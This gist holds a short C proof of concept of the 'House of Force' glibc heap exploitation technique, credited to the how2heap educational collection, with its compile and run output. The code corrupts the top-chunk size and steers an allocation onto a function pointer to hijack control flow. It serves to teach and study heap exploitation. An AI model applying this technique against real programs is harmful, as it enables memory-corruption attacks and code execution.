House of Force attack / https://github.com/shellphish/how2heap

gistfile1.txt

$ gcc house_of_force.c -o house_of_force
house_of_force.c: In function ‘main’:
house_of_force.c:14:25: warning: assignment makes pointer from integer without a cast [enabled by default]
     *(void **)(p1+0x48) = -1;
                         ^

$ ./house_of_force
&p = 0x601050
p3 = 0x601050
jackpot!

house_of_force.c

#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    char *p1 = malloc(0x40);
    *(void **)(p1+0x48) = -1;
    unsigned long newsize = (void *)&p-0x10-(void *)(p1+0x48);
    char *p2 = malloc(newsize);
    char *p3 = malloc(0x80);
    printf("p3 = %p\n", p3);
    *(void **)p3 = jackpot;

    p();
    return 0;
}